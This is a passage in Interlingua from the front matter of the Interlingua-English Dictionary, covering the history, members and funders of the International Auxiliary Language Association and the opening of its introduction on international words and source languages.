auxiliar. Lor multiplicitate ha fragmentate le\nmovimento pro iste\nun\nunic lingua mundial al qual se dirige le developpamentos in le\ncommunicationes m\noderne. Le aspecto positive del situation debe esser accentuate,\ntotevia. Subjacente a omne detalios controversial, le systemas numerose ha multo in\ncommun. On pote reguardar los como variantes de un essential lingua international\nque is latente in le ling\nuas vivente. Le plus urgente problema practic in le campo de\ninterlinguistica es edificar un stock basic de material linguistic que omne\ninterlinguistas pote acceptar como authentic.\nLe Interlingua\n-\nEnglish Dictionary\noffere tal material authentic.\nInterna\ntional Auxiliary Language Association.\n-\nLe International Auxiliary\nLanguage Association, generalmente cognite como IALA, es un organisation que\ncresceva ex investigationes del problema de lingua auxiliar cargate se post le prime\nguerra mundial per committ\nees del International Research Council, per le\nassociationes britannic, francese, italian e statounitese pro le Avantiamento de\nScientia, le American Council of Learned Societies e altere gruppos de specialistas.\nDr Frederick Gardner Cottrell del Internat\nional Research Council ha interessate sr e\nsra Dave Hennen Morris ex New York in le idea de crear un corpore permanente que\ncontinuara le studios que varie committees habeva comenciate. Ambes habeva desde\nlonge essite active in organisationes concernite co\nn le melioramento de conditiones\nde societate human, e illes videva immediatemente le significantia de un lingua\ninternational como un del medios pro developpar le communitate international que\npareva esser un sperantia possibile in iste tempore. Illes reu\nniva in 1923 viros e\nfeminas de experientia large in affaires international, communicationes e linguistica\npro discuter lo que on poterea facer pro focalisar le attention super le movimento jam\nben establite pro un lingua international.\nLe gruppo includev\na\nDecano\nEarle B. Babcock\n, New York University\nDr.\nLeRoy E. Bowman\n, Columbia University\nGeneral\nJohn T. Carty\n, Vice\n-\nPresident\ne\n, American Telephone & Telegraph Company\n8\nSra\n.\nJames S. Cushman\n, World's Committee, Young Women's Christian Association\nDr.\nStephe\nn Duggan\n, Director, Instit\nute of International Education\nMr.\nHarry E. Edmonds\n, Fundato\nr,\nInternational House, New York\nDr.\nJohn H.\nFinley\n, Editor, New York Times\nDr.\nAlfred N. Goldsmith\n, Radio Corporation of America\nDr.\nArthur Hamerschlag\n, P\nresident\ne\n, Rese\narch Corporation\nSr. e Sra\n.\nJohn H. Hammond\nGeneral\nJames G. Harbord\n, President\ne\n, R\nadio Corporation of America\nClarence Howard\n, President\ne\n, Int\nernational Chamber of Commerce\nDr.\nFrederick P. Keppel\n, P\nresident\ne\n, Carnegie Corporation\nSra\n.\nJames Lees Laidlaw\n,\nWoman's Cou\nncil for the League of Nations\nDr.\nSidney E. Mezes\n, President\ne\n, Colleg\ne of the City of New York\nDr.\nArthur E. Morg\nan\n, President\ne\n, Antioch College\nDr.\nHerbert N. Stanton\n, Columbia University\nSra\n.\nWilliam Jay Schieffelin\nSretta.\nClara B. Spence\n,\nP\nrincipal, Miss Spence's School\ne\nSra\n.\nCharles L. Tiffany\n, New York League of Women Voters.\nLe delibe\nrationes de iste viros e feminas fructava. Sub le direction de sr e sra Morris\nle International Auxiliary Language Association era fundate e incorporate in\n1924\ncomo un organisation sin scopo lucrative \"pro promover studio extensive, discussion\ne publicitate de omne questiones involvite in le establimento de un lingua auxiliar\ninsimul con recerca e experimento que pote hastar iste establimento in un maniera\nintelligente e super fundationes stabile.\nDecano Babcock deveniva le prime presidente.\nIn 1936 ille era succedite per dr John\nH. Finley.\nDr Stephen Duggan serviva como presidente de IALA desde 1940 usque a\nsu morte in 1950.\nSra Morris deveniva secretario\nhonorari del Association e plus tarde etiam presidente\ndel Division de Recerca, in qual rolos illa habeva le carga de developpar le activitates\nmultilateral de recerca e promotion de IALA.\n9\nSr Morris era le tresorero de IALA desde le fundation del Associat\nion usque a su\nmorte in 1944. Durante su annos como ambassador in Belgica (1933\n-\n1937) ille e su\nsposa era successose in stimular eruditos europee assi como homines eminente de\naffaires practic a prender interesse seriose in le obra de IALA.\nLor filio, sr L\nawrence\nMorris, le succedeva como tresorero.\nObra exploratori.\n-\nLe prime decennio del programma de recerca era de natura\nexploratori. On faceva contactos con capites in le varie gruppos que supportava varie\nsystemas de linguas auxiliar. Pro supervider le\nextension del uso successose de\nlinguas auxiliar un bibliotheca special era collecte. Illo includeva libros, pamphletos e\nperiodicos publicate in interlinguas differente, assi como dictionarios e manuales. Un\nbibliographia listante tote le material obteni\nbile in bibliothecas europee super le\nsubjecto de linguas international era preparate in collaboration con le Universal\nEsperanto Association.\nLe approche anthropologic al problema de linguas auxiliar era sub le direction de\nprofessor Edward Sapir ex Yale\nUniversity. In un serie de studios nominate\nFundamentos de lingua\n, le typic habitos de parlar de linguas differente era analysate\nin connexion con aspectos specific de grammatica. Alicunos de iste studios era\npublicate per le Linguistic Society of America.\nSra Morris era le redactor in\ncollaboration con dr Sapir, professor William E. Collinson del University of Liverpool,\ne dr Morris Swadesh.\nIn le anno 1930 IALA planava un reunion in Europa a qual pro le prime vice\nlinguistas e expertos in linguas auxilia\nr habeva un session de duo septimanas pro\ncambiar ideas. Convocate per professor Otto Jespersen le conferentia dava su\napprobation al programma de recerca proponite per IALA. Desde ille tempore quatro\ncongressos official de linguistas ha habite reportos de\nlabor de IALA ponite ante illos.\nRecerca linguistic.\n-\nCinque systemas de linguas international, Esperanto, Ido,\nEsperanto II, Occidental e Latino sine Flexione era selecte pro studio analytic per\nIALA proque illos omnes habeva organisationes official pr\nomovente illos e habeva\nessite usate con successo in publicationes e in communication oral. Studios parallel\nde iste linguas con studios comparative de linguas national era facte per le Division\nde Recerca de IALA sub le direction de eruditos in universita\ntes statounitese e\neuropee.\nUn studio intensive de difficultates in conferentias international era facte per\nprofessor Herbert N. Shenton, tunc del Syracuse University e secretario executive de\nIALA. On faceva un supervista del uso de linguas auxiliar in\nconferentias\ninternational. Le resultatos de iste projecto de recerca era publicate sub le titulo de\nCosmopolitan Conversation\nper le Columbia University Press in 1933.\nVarie generes de projectos de recerca educational era prosequite que se centra al idea\nbasic que un interlingua pote esser usate in cursos simplificate in linguistica\ncomparative pro initiar studentes al studio de linguas estranier. Un manual pro un\nCurso General de Lingua\nera preparate per Helen S. Eaton, IALA. Illo era usate in\ncursos exp\nerimental in scholas que cooperava con le programma educational de\nIALA.\n10\nDr Edward L. Thorndike, subsidiate per le Carnegie Corporation, conduceva un serie\nde experimentos re le facilitate relative a apprender linguas constructe e natural.\nSu\nconclusiones\nera publicate sub le titulo\nLanguage Learning\n(Apprender Linguas) per\nle Bureau of Publications of Teachers College of Columbia University in 1933.\nDurante le secunde guerra mundial, quando le necessitate de apprender linguas\nestranier era accentuate per\nle eventos mundial, un methodo pictorial pro\ncomenciates era incorporate in un serie de manuales per duo membros del direction\nde recerca de IALA, E. Clark Stillman e Alexander Gode.\nLe serie includeva le titulos\nSpanish at Sight, French at Sight,\nand\nPor\ntuguese at Sight\n.\nUn nove contribution al campo de studios de frequentia de parolas era facte in le\nforma del\nSemantic Frequency List\nper Helen S. Eaton, Associata de Recerca\nLinguistic de equipa de IALA.\nIste obra era preparate per le Committee on Modern\nLanguages of the American Council on Education e publicate per le University of\nChicago Press in 1940.\nLabor con le Dictionario.\n-\nLabor preparatori del Dictionario includeva\nconsultation con linguistas in le Statos Unite e Europa e con expertos in le va\nrie\nsystemas de lingua auxiliar. Illo era exequite per medio de conferentias,\ncorrespondentia e questionarios.\nAl Universitate de Liverpool desde 1936 usque a 1939 varie methodos de compilation\nde material de parolas international era testate sub le direc\ntion de professor William\nE. Collinson. Un equipa de personas con fundos differente de lingua era assemblate.\nSr E. Clark Stillman succedeva a dr Collinson como su director. Le eruption del\nguerra rendeva necessari le transferimento del labores a New York,\nubi sr Stillman\nassemblava un nove equipa international e continuava a diriger lo usque al momento\nquando ille entrava in le servicio del ministerio del exterior in 1942. Durante le annos\nde guerra Alexander Gode manteneva le programma de recerca in march\na per\nassumer le responsibilitates de director executive in addition a su carga regular como\nredactor de Reference Books con le T.Y. Crowell Company. In 1946 IALA apportava\ndr André Martinet ex le Sorbonne a New York e le incargava del direction de su\nrece\nrca interlinguistic. Post que ille jungeva se al facultate del Columbia University in\n1948 dr Gode assumeva le direction plen del labor. In su forma final le Dictionario es\nsu concepto e su responsibilitate. Illo es le fructo del erudition exigente e labor\npatiente de dr. Gode e su collaboratores.\nRECOGNOSCENTIAS\nLe directores de IALA era in 1951:\nW. Hallam Tuck\n, vice\n-\npresidente,\nBelgian American Educational Foundation\n;\nJohn V. Irwin\nLawrence Morris\nLeRoy E. Bowman\n11\nBen M. Cherrington\n,\nUniversity of Denv\ner\nHarry Edmonds\n, fundator,\nInternational House, New York\nAlfred N. Goldsmith\n, ex\n-\npresidente,\nSociety of Motion Picture Engineers\nHenry Goddard Leach\n, presidente,\nAmerican Scandinavian Foundation\nFrederick H. Osborn\nSra\n.\nHarold Peabody\ne\nThomas J. Watson\n,\npresidente,\nInternational Business Machines Corporation\n.\nIn lor nomines io recognosce le multe generes de cooperation que IALA ha recepte in\nsu recercas.\nSupporto financial al labor de IALA ha venite ex multe fontes.\nCarnegie Corporation\ndonava un bursa a\nTeachers College of Columbia University pro recerca preliminari\nin apprender linguas.\nRockefeller Foundation\nprovideva un bursa pro labor\nlexicologic que era facte al Universitate de Liverpool.\nResearch Corporation\ndonava\nliberal non\n-\ndesignate bursas annu\nal durante un periodo de plure annos. A omne iste\nfundationes IALA exprime gratitude non solmente pro le fundos donate sed pro le\nrecognition de importantia del labor in tote le campo de communications.\nLe membros fidel de IALA ha adjutate a exequer le ca\nrga de producer le Dictionario e\nillo ha sequite omne stadio de su labor.\nLe plus substantial amonta de supporto financial ha venite de\nsr e sra Morris\ne lor\ninfantes. Nunquam illes ha fallite de comprehender le costos de un programma de\nrecerca como illo\nde IALA, de respectar le punctos de vista del eruditos que illes\ninrolava al labor e complir le necessitates del budget de IALA. Anno post anno illes\ndonava moneta sed illes etiam se interesseva altruistica\n-\ne enthusiasticamente de\ndetalios practic que po\nterea adjutar a realisar lor scopo ideal de un lingua\ninternational.\nOn debe special gratitude al Committee de Budget de IALA de qual\nJames G.\nHarbord\nera presidente e\nS. Sloan Colt\ne\nSamuel McRoberts\nera membros.\nSupporto intellectual pro le programma d\ne IALA ha venite ab viros e feminas in omne\npartes del mundo. Specialistas in communication, relationes international, education\ne multe scientistas specialisate ha participate in discussiones del programma de\nIALA.\nOffertas de collaboration ha essite rec\nepte de multe autores de systemas de linguas\nauxiliar, alicunos de quales ha commodate lor proprie manuscriptos a IALA. Multe\nsupportatores de linguas auxiliar differente ha demonstrate interesse impartial,\nquando linguistas ha prestate a lor obra attentio\nn seriose. Homines de affaires ha\ndemonstrate interesse genuin, inter illes\nRotary International\n, que appunctava un\ncommittee pro tener al currente del activitates de IALA. Le\nOrganisation\n12\nEducational, Scientific e Cultural del Nationes Unite\n(OESCNU\n-\nUNE\nSCO) ha\nestablite contactos con IALA.\nInter illes qui participava in conferentias formal e informal de IALA era:\nLeslie Adie\nSra\nYorke Allen\nDr\nJames R. Angell\n, Presidente,\nYale University\nProfessor\nKan\n-\nIchi Asakawa\n,\nYale University\nSiegfried Auerbach\n,\nA\nkademio di Ido\nProfessor\nCharles Bally\n,\nUniversitate de Genéve\nClarence Barnhart\nLouis Bastien\n,\nSocietate de Esperanto de France\nAndre Baudet\n,\nCamera de Commercio de Paris\nWilhelm Blaschke\nPierre Bovet\n,\nInstituto de Rousseau, Genéve\nWillem de Cock Buning\n,\nRotary International\nSra\nWestwood Carr\nProfessor\nGustave Cohen\n,\nÉcole Libre des Hautes Études\nSr e sra\nG. Alan Connor\n,\nEsperanto Association of North America\nAndreo Cseh\n,\nInternacia Cseh\n-\nInstituto de Esperanto\nSra\nJames S. Cushman\n,\nY.W.C.A.\nDr\nMalcolm Davi\ns\n,\nCarnegie Endowment for International Peace\nDr\nWatson Davis\n,\nScience Service\nProfessor\nAlbert Debrunner\n,\nUniversitates de Berne e Basle\nProfessor\nA. W. de Groot\n,\nUniversitate de Amsterdam\nRollet de l'Isle\n,\nInternacia Scienca Asocio Esperantista\nRené de S\naussure\n,\nEsperanto II\nEdgar de Wahl\n,\nOccidental Union\nProfessor\nHenry Gratton Doyle\n,\nThe George Washington University\nSra\nLaura Dreyfus\n-\nBarney\n, Stta\nHelen S. Eaton\n,\nGertrude Ely\nProfessor\nRobert H. Fife\n,\nColumbia University\nProfessor\nP. Fouché\n,\nSorbonne\nDr\n.\nFrank Fremont\n-\nSmith\n,\nJosiah Macy\n,\nJr.\nFoundation\nProfessor\nOtto Funke\n,\nUniversitate de Bern\nStta\nClarissa H. Gordon\n, Sra\nRuth M. Griggs\nProfessor\nAlbert L. Guérard\n,\nStanford University\nSra\nHamilton Hadley\nDr.\nWalter D. Head\n,\nRotary International\nProfess\nor\nV. A. C. Henmon\n,\nUniversity of Wisconsin\nProfessor\nEduard Hermann\n,\nUniversitate de Göttingen\nDecano\nHenry W. Holmes\n,\nHarvard University\nSr e Sra\nI. R. G. Isbrucker\n,\nUniversala Ligo\nProfessor\nRoman Jakobson\n,\nColumbia University\nProfessor\nOtto Jespersen\n,\nUniversitate de Copenhagen\nDr\nMarguerite Jones\n,\nHunter College\nProfessor\nSerge Karcevski\n,\nUniversitate de Genéve\nProfessor\nHayward Keniston\n,\nUniversity of Michigan\nDr.\nLaura H. Kennon\n,\nBrooklyn College\nProfessor\nWencil J. Kostir\n,\nUniversity of Ohio\n13\nWladysl\naw Kozlowski\n,\nLingvo Monde\nDr\nJohn Lansbury\nGeorge Winthrop Lee\ne\nJohn L. Lewine\n,\nEsperanto Association of North America\nStta\nAnne Lincoln\nProfessor\nKemp Malone\n,\nJohns Hopkins University\nProfessor\nAntoine Meillet\n,\nSorbonne\nSra\nDudley H. Mills\n,\nDr\nArthur E\n. Morgan\n,\nAntioch College\nDave Hennen Morris, Jr.\nProfessor\nHenri F. Muller\n,\nColumbia University\nProfessor\nC. K. Ogden\n,\nCambridge University\nProfessor\nAustin M. Patterson\n,\nAntioch College\nWilliam Perrenoud\n,\nEsperantista\nHoward A. Poillon\n,\nResearch Corporat\nion\nProfessor\nPitman B. Potter\n,\nInstitut Universitaire de Hautes Études Internationales,\nGenéve\nBronson Price\nEdmond Privat\n, Presidente,\nUniversal Esperanto Association\nMrs.\nFranklin D. Roosevelt\nProfessor\nAlbert Sechehaye\n,\nUniversitate de Genéve\nDr.\nJames\nT. Shotwell\n,\nCarnegie Endowment for International Peace\nProfessor\nHerbert Schofield\n,\nLoughborough College\nMgr.\nSchrijnen\nProfessor\nAlf Sommerfelt\n,\nUniversitate de Oslo\nPierre Stojan\n,\nEsperantista\nDr\nLester Struthers\n,\nRotary International\nSra\nWalter Knight\nSturges, Jr.\n,\nWilliam Mark Taylor\n,\nGeorge L. Trager\nProfessor\nNicolaas Van Wijk\n,\nUniversitate de Leiden\nProfessor\nJoseph Vendryes\n,\nSorbonne\nProfessor\nJean Paul Vinay\n,\nUniversity of Montreal\nEugen Wüster\n,\nOrganisation International de Standardisation\nReinh\nold Zeidler\n,\nNovial\n.\nA illes e multe alteres IALA es le plus grate\nMary Connell Bray\nDirector Executive, IALA\nIntroduction\nIn le historia del International Auxiliary Language Association\n–\ne del movimento de\nlingua auxiliar in general\n–\nle publicatio\nn del Interlingua\n-\nEnglish Dictionary (IED)\nmarca un importante passo in avante.\nNos non lo presenta al mundo como un nove\npartita inspirate, un panacea, si illo esserea generalmente acceptate, pro omne\ndamnos que resulta del confusion de linguas. Nos solme\nnte affirma haber\n\"summarisate le passato\" per producer pro le prime vice un dictionario del lingua\n14\ninternational, basate super un application strictemente consistente e scientificamente\nexacte del unic idea fundamental a que le majoritate del interlinguis\ntas adhereva\ndurante le passate tres quartos de un seculo. Nos participa in le vista de nostre\npredecessores que il non es necessari pro le mundo attender le venita de un creator\nde un lingua universal ideal proque il es un facto que le lingua internationa\nl\npotentialmente existe in le elementos commun del formas de linguage de vaste\nsegmentos del humanitate civilisate. Super iste facto nos ha basate le principios e\nregulas e le methodos que ha dominate le compilation del Interlingua\n-\nEnglish\nDictionary.\nNost\nre effortios es tanto clarmente connectite con illos de nostre predecessores que il\nes e impossibile e superflue recognoscer in detalio nostre debitos a illes. Nos non\npresenta un nove obra distachate e distincte del lores sed plus tosto le responsa\ncommun\na nostre recercas e le lores pro un presentation standard del\nvocabulario\ninternational\n. Si nos ha succedite in isto, le permanente significantia de nostre labor\nes assecurate. Le interlinguista practic notara con surprisa le facto que iste obra non\nconti\nne un proponimento pro un systema grammatic pro facer funger le vocabulario\ninternational, ni un section que supplementa le Interlingua\n-\nEnglish Dictionary per\nducer\nad in\nle vocabulario international\nab\nanglese. Le demanda pro le publication de\niste e simi\nlar additiones utilitari es legitime, sed isto pote esser exequite solmente\nsuper le base de un registration systematic del vocabulario international. Fornir un\ntal base e presentar un tal registration systematic es le proposito e scopo de iste\nDictionario\n. In illo le vocabulario international, que numerose systemas\ninterlinguistic usava, usa e usara in varie manieras e in varie grados de consistentia,\nnunc appare al fin in un collection methodic preste a servir interlinguistas de omne\nscholas in lor varie\nbesonios e equalmente a formar le standard e norma de futur\npublicationes complementari e specialisate\n–\ngrammaticas, dictionarios e manuales\nin varie linguas concernite de varie formas de interlingua.\nComo un conto summari del \"de ubi\" e \"proque\" del Dict\nionario le sequente materia\nes arrangiate sub plure testas. Le prime section \"Theoria e Principios\" discute le\nfactos objective que ha determinate nostre accostamento. Illo es un re\n-\nexposition del\nconsiderationes e conclusiones que ha guidate le majoritate\ndel interlinguistas ab le\ntempore del original conception per Dr. Zamenhof de Esperanto.\nLe secunde section, \"Methodo e Technicas\" constitue un practic manual de travalio e\noffere un description del procedura sequite in colliger e arrangiar le materia ins\nerite\nin le Dictionario.\nLe vocabulario international es tanto multo subjicite a crescentia ulterior quanto es le\nvocabulario de omne linguas national, sed le futur problemas de illo non debe esser\nadmittite a depender de decisiones subjective. Lor solutio\nn debe resultar ex le\napplication de un technica specific a quecunque sia le factos linguistic international.\nAssi le section methodologic debe simultaneemente servir le functiones normative\nque in casos similar sub conditiones differente es assignate a ac\nademias linguistic.\nLe sectiones conclusive presenta un guida pro le usator e monstra le machineria del\nDictionario in operation.\nTheoria e principios\n15\nLinguas international\nIn le tempore moderne protagonistas del idea de un neutral lingua auxiliar ha\narr\nivate a basar lor tentativas de minus in minus super ingenios arbitrari. Illes ha\nrestringite lor tentativas de plus in plus consciemente al arrangiamento e tractamento\nde parolas e regulas grammatic que illes ha prendite ab existente linguas natural. Iste\nparolas e regulas\n–\nassi on pare opinar\n–\nnon debe introducer se ab vacuo; illos es e\nha essite in uso practic. Nemo pote dubitar de lor qualificationes pro servir ben e\nefficacemente.\nIste tendentia esseva sin dubita favorabile a istes qui defende le ado\nption de un del\nmajor linguas existente como le election le plus promittente pro un lingua auxiliar\nuniversal. A un certe mesura lor propositiones pare concordar con le instructiones\nper le historia del interlinguistica e linguas auxiliar in general. Totev\nia, iste historia\ndice a nos etiam que nulle lingua national ha unquam essite in uso pro objectivos\nauxiliar si non illes qui lo parlava se habeva establite como un populo in un position\nde hegemonia politic o cultural. Un lingua national que servi como un\nsecundari\nlingua mundial implica del parte de su parlatores le pretention de superioritate\nuniversal, e nulle populo occupa un position pro tener un tal pretention e fortiar\nomne partitos concernite a consentir a isto.\nLinguas auxiliar o secundari es un p\nhenomeno multo vetule e multo commun. Tarde\ngreco functionava como un tal e esseva specialmente importante proque le Nove\nTestamento esseva scribite e propagate in illo. Le caso de latino medieval es multo\nsimilar e etiam similar, ben que in campos e nivel\nlos differente, es le exemplos del\ncontemporanee Pidgin English, de swahili in Africa Oriental, de hindustani, chinese\nmandarin, e etiam de vermente dozenas de si nominate linguas franc. Totevia, nulle\nde istos esseva un lingua artificial fabricate, e null\ne fabricate lingua artificial ha\nunquam equalate le minime de illos in le practic interesse de omne dies.\nLinguas non\n-\nnational ha nunquam attingite lor scopo como le resultato del desiro del\nhomine a comprender su vicinos trans le frontiera e a evitar fri\nctiones, guerra e odio,\nle quales es frequentemente reguardate como inevitabile resultatos de nostre\nnumerose frontieras linguistic. De facto linguas in uso plus que nationalmente\nrestringite semper esseva establite in lor rolo como linguas secundari o aux\niliar in\nregiones estranier per le fortia de necessitates sia purmente utilitari sia generalmente\ncultural.\nDe un o altere maniera ille linguas esseva connectite o mesmo identificate con un\n\"movimento expansive\" que los promoveva, como reciprocamente illos\nlo serviva e\npromoveva. Latino medieval, pro mentionar un singule exemplo, debeva su large\nexpansion al \"dynamismo\" missionari del Ecclesia, durante que le Ecclesia,\nreciprocamente, non haberea essite capace a exercer su function sin le universalitate\nde\nsu lingua.\nIste factos pote justificar le generalisation que nulle lingua auxiliar secundari de\nextension major o minor ha unquam essite acceptate e usate si in fundo de illo il non\nhabeva un fortia specific que lo propagava como un necessari utensile de\npractica.\n16\nCon respecto al problema de un moderne lingua auxiliar mundial isto significa que o\nle mundo moderne pote pretender que illo initiava un movimento expansive del sorta\nalludite\n–\nin qual caso le mundo moderne debe jam haber su proprie lingua que\nnon\npote e non debe esser supplantate per un producto artificial\n–\no il non ha un tal\nmovimento\n–\nin qual caso omne nostre effortios pro establir un lingua auxiliar\nuniversal es solmente perdita de tempore e energia proque un tal lingua non pote\nexister.\nL\ne prime de iste alternativas es correcte. Le mundo moderne es penetrate in omne su\nregiones e stadios per un potente influentia que ha reducite le vastitate del globo\nterrestre a un mesura de horas e ha diffundite cosas e ideas e problemas verso omne\nangul\nos de omne continentes. Si on ha necessitate de un singule characteristica pro\ndesignar le fortia responsabile pro omne le bon e omne le mal que distingue nostre\nhodierne mundo de illo de seculos passate, nos pote appellar lo le potentia del\nscientia e del\ntechnologia. Sed si nos continua interrogar: non ha portate iste\nexpansion mundial del scientia e del technologia con se a omne angulos del mundo su\nproprie lingua, alique in le maniera del medieval Ecclesia de Roma que portava con se\nsu lingua latin ubic\nunque illo exerceva su influentia expansive, le responsa es\npeculiarmente hesitante. In effecto in un certe senso il ha un tal linguage. Nos pote\nparlar del lingua del scientia e technologia. Sed si isto deberea implicar le conclusion\nque ille lingua sia r\neguardate como le sol possibile lingua auxiliar del mundo in le\ntempore moderne, nos subito deveni conscie del facto que le lingua del scientia e\ntechnologia non es un lingua in le ver senso del parola sed in le melior del casos un\nvaste massa de terminos\ne phrases international, le quales appare in nostre varie\nlinguas in un correspondente numero de formas con legier differentias.\nInfortunatemente, nos non pote plus analysar le suggestion fascinante que forsan il es\ntoto natural que le scientia e le techno\nlogia esserea incapace a superar le diffusion\nmundial de un amplissime numero de terminos specificamente technic e a\ndisveloppar ex istos un complete lingua, proque iste incapacitate probabilemente ha\nun correlation con le facto que le mundo del scientia e\ndel technologia es un sphera de\nnotiones discrete que non se compacta in un structura complete e coherente, o pro\ndicer alteremente, que le \"lingua\" del scientia e technologia non realmente es un\nlingua proque le pensar del scientia e technologia non real\nmente es un philosophia.\nIn senso interlinguistic omne isto significa que nonobstante que le \"lingua\" del\nscientia e technologia non es un complete lingua, nonobstante que illo pote fornir a\nnos solmente un amplissime numero de parolas e phrases con validi\ntate international\nin varie formas specificamente national sed facilemente recognoscibile, illo certo\npresenta un nucleo de un lingua complete. Illo certo presenta fragmentos del sol\nlingua international que nos possede. E il se monstra que le function del\ninterlinguista practic es le selection e le arrangiamento de parolas international e\npostea lor expansion in un lingua toto disveloppate\n–\nun lingua, naturalmente, le qual\nmesmo si illo ha su fundo e '\nraison d'être\n' in le vaste dominio de terminos\ntechnol\nogic, va avantiar e extender se al artes e a omne altere occupationes human\nusque al cosas le plus humile de nostre vita quotidian.\nParolas international\n17\nIn le plus large senso un parola international es un parola que se trova in plus de un\nsingule lingua\nnational. Le parolas german\nHaus\ne\nAutomobil\n, per exemplo, es identic\ncon le parolas anglese\nhouse\ne\nautomobile\nmalgrado parve differentias in\northographia e pronunciation. Lor significationes es naturalmente partes essential de\nillos. Si illos esseva dist\nincte in senso semantic, como per exemplo anglese\nalso\ne\ngerman\nalso\n, illos non poterea esser reguardate como parolas identic.\nIl ha duo typos de parolas international. German\nHaus\ne anglese\nhouse\nrepresenta un\ntypo que debe su extension international al d\nescendentia commun de duo o plure\nlinguas; parolas de iste typo es international per parentato in le senso restricte del\ntermino. Al altere latere, le internationalismo de german\nAutomobil\ne anglese\nautomobile\nes debite al transition de vocabulos de un lin\ngua a un altere; parolas de\niste typo, ben que a vices con inexactitude nominate cognatos, debe esser distinguite\ncomo international per adoption e diffusion.\nIn le senso le plus comprehensive le termino \"parola international\" comprehenderea\nun enorme num\nero de parolas que se trova solmente in pauchissime linguas de\nsignificantia minor. Parolas international differe impressionantemente in lor\nextension. Ab un puncto de vista practic il es necessari considerar solmente ille\nparolas international que ha un a\nssatis large extension in le regiones del mundo\nhabitate de populos que participa in le communication international e que es per\nconsequente apte pro esser interessate in le simplification de illo.\nSi parolas international differe in le mesura de lor exte\nnsion, illos pote etiam esser\ngruppate con respecto a lor lingua de origine o \"centro de radiation\". Il ha centros de\nradiation importante e inimportante e parolas con large extension international\nproveni de ambes.\nLe parola\nigloo\n, per exemplo, ha un ext\nension multo respectabile. Illo se trova in\neskimo, anglese, francese, russo, e in multe altere linguas. Sed eskimo, de que le\nparola proveniva, non es pro isto un centro de radiation significante.\nTal minor \"centros de radiation\" pote esser negligite sin\nun resultante perdita de\nentratas importante in le vocabulario international sub le condition que es assecurate\nque le contributiones possibile de cata abandonate centro essera considerate alterubi.\nAbandonamento del centro de radiation eskimo non implica\nra le perdita del\ninternational\nigloo\n, si anglese, russo, francese o qualcunque altere lingua que\ncognosce le parola, essera tenite in observation.\nLe restriction del numero del linguas examinate con respecto a lor stock de parolas\ninternational non impli\nca le exclusion de parolas international de omne sortas de\norigines remote del registro resultante.\nPro rationes practic le sphera in que \"parolas international\" sia colligite, debe esser\nrestringite, sed le proposito de assemblar le vocabulario le plus po\nssibile\ngeneralmente international, pote esser le melio servite si le sphera restricte satisface\nduo requirimentos: primo, illo debe esser un potente centro de radiation de parolas\ninternational, un centro que ha amplemente contribuite al stock de parolas\ninternational in omne partes del mundo; secundo, illo debe haber un alte grado de\nreceptivitate con respecto al material que es radiate ab altere linguas.\n18\nQuanto al secunde de iste requirimentos, le anglese presenta un responsa quasi ideal\na illo. A pena\nun altere lingua pote competer con le anglese in su \"potentia receptive\".\nIn effecto, un lista de parolas con large extension international extra le sphera del\nanglese includerea pauc gruppos importante con le possibile exception de un\nvocabulario relative\nmente substantial \"radiate\" ab le mundo islamic a Espania,\nEuropa Oriental, e partes de Asia sed non al mundo anglophone.\nLe prime requirimento, que concerne le potentia de radiation de parolas\ninternational, es un materia plus complicate. Il non ha un li\nngua que supera omne\nalteres con respecto al grosso de su contributiones al vocabulario international como\nle anglese face con respecto a su capabilitate de assimilar parolas foranee.\nLe gruppo le plus importante de parolas international es sin dubita le\ncorpore de\nterminos technic in le scientia e le technologia. In le grande majoritate de casos le\nterminologia technic international es construite de elementos latin e grec o\ngrecolatin. Illo non es, toto considerate, le contribution de un singule lingua, n\non\nmesmo greco e latino combinate, nam illo contine un numero considerabile de\nterminos que, ben que illos consiste de elementos classic, esseva completemente\nincognite al parlatores native de ambe linguas classic. Socrates parlava greco durante\ntote su vi\nta, sed ille nunquam usava le telephono e non sapeva que le parola pro illo\nproveni de su lingua materne.\nParolas de iste typo pote gruppar se sub le testa de lor origine commun in un specie\nde neolatino theoretic, que non es parlate alicubi sed appare dis\nvelate in le varie\nlinguas romance contemporanee. Prendite como un gruppo e reguardate como\nassociate executantes del hereditage latin e consequentemente como le plus ample\nrepresentation del fonte neolatin del major parte del technic vocabulario\ninternati\nonal, le linguas romance es le plus potente centro de radiation de parolas\ninternational.\nVariantes e lor prototypos\nLe determination de qual vocabulos sia reguardate como un parte del vocabulario\ninternational es un cosa per se; le determination del forma\ns in que illos sia registrate\nes un altere. Le lingua de origine de un date parola international non pote adjutar in\nle solution de iste problema. Per exemplo, si le parola german\nStatistik\ne le parola\nanglese\npenicillin\n(illos es german e anglese de origi\nne) esseva scribite\nStatistik\ne\npenicillin\ncomo entratas in un lista de vocabulos de large extension international,\nillos ancora esserea german e anglese e non \"international\". Lor formas debe\n\"internationalisar\" se, isto es, normalisar o standardisar se s\nuper le base de variantes\nin le quales illos se trova in le linguas national. Le prototypos resultante es ni anglese\nni german, ni latin ni grec, ni iste lingua ni ille, sed in illos le variantes que se trova in\niste o ille lingua pote esser immediatemente\nrecognoscite. Ni german\nStatistik\nni\nnaturalmente anglese\nstatistics\no francese\nstatistique\npote qualificar se como un\nforma international. In le vocabulario international le parola debe representar se per\nun forma de que\nStatistik\ne\nstatistics\ntanto ben\ncomo\nstatistique\nes variantes\ndeterminate per peculiaritates idiosyncratic que es characteristic in respectivemente\ngermano, anglese e francese.\n19\nLe processo de reguardar insimul le variante formas de parolas international a fin de\narrivar a prototypos nor\nmalisate o standardisate, non pote satisfacer a un verificabile\nmethodologia que es applicabile a omne nove casos, si non le variantes ipse, e, per\nconsequente, le linguas al quales illos pertine, ha un base commun in le qual le\nprincipios de normalisation\no standardisation pote haber lor radices.\nLe linguas romance ha certo un tal base commun in latino. Illos representa in ultra le\nplus potente centro de radiation de parolas international e assi illos es in duo\nrespectos importante un sphera de recerca in\nque le accumulation de parolas\ninternational pare esser le plus promittente.\nLinguas fonte o de controlo\nLe anglese responde le plus al requirimento de potentia receptive con respecto a\nparolas international de origine foranee. Le linguas romance optimo sa\ntisface al\nrequirimento de radiation productive de parolas international. Le melior sphera\nrestricte de linguas in que on debe exercer un collection systematic de parolas\ninternational es per consequente un combination de anglese e le linguas romance.\nNos\nrefere a iste linguas variemente como linguas fonte o linguas de controlo.\nLe inclusion del anglese non conflige con le desideratum que le linguas que sia\nscrutinate pro le compilation del vocabulario international debe posseder un base\ncommun. In effecto\nle base que tene conjuncte le linguas romance es etiam le base del\nanglese, del qual le vocabulario es tanto fortemente romance que in iste respecto\n–\nqualcunque sia le situation in altere respectos\n–\nillo vermente es un lingua romance.\nLe gruppo 